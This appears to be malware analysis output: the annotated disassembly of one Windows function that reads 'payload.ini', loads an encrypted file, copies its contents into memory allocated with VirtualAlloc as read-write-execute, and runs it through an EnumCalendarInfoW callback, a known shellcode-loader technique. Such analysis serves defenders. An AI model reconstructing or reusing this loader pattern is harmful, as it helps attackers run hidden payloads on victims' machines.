Function at 0x1400036a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140127080]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor r14d, r14d
mov qword [rbp + 0x1c8], r14
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], r14
lea ecx, [r14 + 0x10]
call fcn.140009070
mov qword [rbp + 0x1c8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rbp + 0x1c8]
mov rax, qword [rbp + 0x1c8]
mov qword [rax], rcx
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r14b
mov qword [rbp + 0x1e0], 0xb
lea r8d, [r14 + 0xb]
lea rdx, str.payload.ini
lea rcx, [rbp + 0x1d0]
call fcn.14004b190
mov byte [rbp + 0x1db], r14b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x80]
call fcn.14004b5f0
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
mov ebx, 1
mov r8d, ebx
lea rcx, [rbp + 0x80]
call fcn.140006bb0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], r12
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
lea r13, vtable.std::ios_base.0
test byte [rbp + rcx + 0x90], 6
je 0x14000382a
lea rdx, str.open_config_file_error:
call fcn.1400084e0
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.1400096d0
mov rcx, rax
call fcn.1400087c0
jmp 0x140003dd9
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], r14
mov ecx, 0x10
call fcn.140009070
mov qword [rbp + 0x1a0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
mov qword [rax], rcx
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], 0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0xc0]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x198], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0x190]
call fcn.1400082f0
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
lea rdx, vtable.std::ctype_char_.0
cmp rcx, rdx
jne 0x140003ed6
mov dil, 0xa
mov rcx, qword [rbp + 0x198]
test rcx, rcx
je 0x1400038ee
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x1400038ee
mov r9, qword [rax]
mov edx, ebx
mov rcx, rax
call qword [r9]
nop
movzx r8d, dil
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x80]
call fcn.140009970
lea rcx, [rbp + 0x80]
call fcn.140004620
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call fcn.14004b5f0
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov r8d, 0x20
lea rcx, [rsp + 0x70]
call fcn.140006bb0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
je 0x1400039ba
lea rdx, str.open_encrypted_file_error:
call fcn.1400084e0
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b8]
mov rcx, rax
call fcn.1400096d0
mov rcx, rax
call fcn.1400087c0
jmp 0x140003d1e
mov r8d, 2
lea rcx, [rsp + 0x70]
call fcn.1400055a0
lea rax, [rsp + 0x70]
mov qword [rbp + 0x190], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x48]
test rcx, rcx
je 0x1400039f0
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140007900
mov byte [rbp + 0x198], al
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
jne 0x140003a47
mov rcx, qword [rbp + rcx - 0x48]
mov rax, qword [rcx]
mov dword [rsp + 0x20], ebx
mov r9d, ebx
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x48]
test rcx, rcx
je 0x140003a45
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x140003a71
mov qword [rsp + 0x30], 0xffffffffffffffff
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rcx
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax - 0x48]
test rcx, rcx
je 0x140003a71
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rdi, qword [rsp + 0x38]
add rdi, qword [rsp + 0x30]
xor r8d, r8d
lea rcx, [rsp + 0x70]
call fcn.1400055a0
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rax
mov rdx, rdi
lea rcx, [rbp + 0x1f0]
call fcn.1400040e0
nop
mov r8, rdi
mov rdx, qword [rbp + 0x1f8]
lea rcx, [rsp + 0x70]
call fcn.140005760
lea rcx, [rsp + 0x70]
call fcn.140004620
mov rcx, rdi
call fcn.140047610
mov rsi, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov rcx, qword [rbp + 0x200]
mov qword [rsp + 0x40], rcx
lea rdx, [rbp + 0x1f0]
lea rcx, [rsp + 0x30]
call fcn.140001930
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov rax, qword [rbp + 0x1f8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rsp + 0x48]
call fcn.140001930
lea rcx, [rsp + 0x48]
call fcn.1400019d0
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.1400019d0
lea r15, [0x140118f04]
cmp rbx, rax
je 0x140003ba3
lea rax, str.vector_iterators_in_range_are_from_different_containers
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, 0xcf
lea rdx, [0x140119ab0]
lea ecx, [r9 + 2]
call fcn.1400616f0
cmp eax, 1
jne 0x140003b7e
int3
mov qword [rsp + 0x20], r14
mov r9d, 0xcf
lea r8, str.d:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023include_vector
lea rdx, str.std::_Verify_range
lea rcx, str._vector_iterators_in_range_are_from_different_containers_
call fcn.140062130
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x40]
cmp rdx, r8
jbe 0x140003c11
lea rax, str.vector_iterator_range_transposed
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, 0xd0
lea rdx, [0x140119ab0]
lea ecx, [r9 + 2]
call fcn.1400616f0
cmp eax, 1
jne 0x140003be2
int3
mov qword [rsp + 0x20], r14
mov r9d, 0xd0
lea r8, str.d:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023include_vector
lea rdx, str.std::_Verify_range
lea rcx, str._vector_iterator_range_transposed_
call fcn.140062130
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
sub r8, rdx
mov rcx, rsi
call fcn.14004b190
nop
mov edx, 3
lea rcx, [rbp + 0x190]
call fcn.140009f60
lea rcx, [rsp + 0x48]
call fcn.1400019e0
lea rcx, [rbp + 0x190]
call fcn.14000a080
nop
mov edx, 3
lea rcx, [rbp + 0x190]
call fcn.140009f60
lea rcx, [rsp + 0x30]
call fcn.1400019e0
lea rcx, [rbp + 0x190]
call fcn.14000a080
nop
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.14004b190
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rsi
call fcn.140047580
mov ebx, r14d
lea rcx, [rbp + 0x1f0]
call fcn.140001ab0
mov rcx, qword [rbp + 0x1f8]
test rcx, rcx
je 0x140003cf3
mov rdx, qword [rbp + 0x208]
sub rdx, rcx
call fcn.140009140
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], r14
lea rcx, [rbp + 0x1f0]
call fcn.140001ab0
mov edx, 0x10
mov rcx, qword [rbp + 0x1f0]
call fcn.140009140
mov qword [rbp + 0x1f0], r14
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.1400053d0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rsi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
mov qword [rbp + 0x20], r13
lea rcx, [rbp + 0x20]
call fcn.14000d080
nop
lea rcx, [rbp + 0x1a0]
call fcn.140001ab0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x140003d9c
inc rdx
mov rcx, qword [rbp + 0x1a8]
call fcn.140009140
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], 0
lea rcx, [rbp + 0x1a0]
call fcn.140001ab0
mov edx, 0x10
mov rcx, qword [rbp + 0x1a0]
call fcn.140009140
mov qword [rbp + 0x1a0], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], r12
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x90]
call fcn.1400053d0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], rsi
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x7c], edx
mov qword [rbp + 0x130], r13
lea rcx, [rbp + 0x130]
call fcn.14000d080
nop
lea rcx, [rbp + 0x1c8]
call fcn.140001ab0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140003e6e
inc rdx
mov rcx, qword [rbp + 0x1d0]
call fcn.140009140
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
lea rcx, [rbp + 0x1c8]
call fcn.140001ab0
mov edx, 0x10
mov rcx, qword [rbp + 0x1c8]
call fcn.140009140
mov eax, ebx
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140047550
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dl, 0xa
mov rcx, rax
call r8
movzx edi, al
jmp 0x1400038cb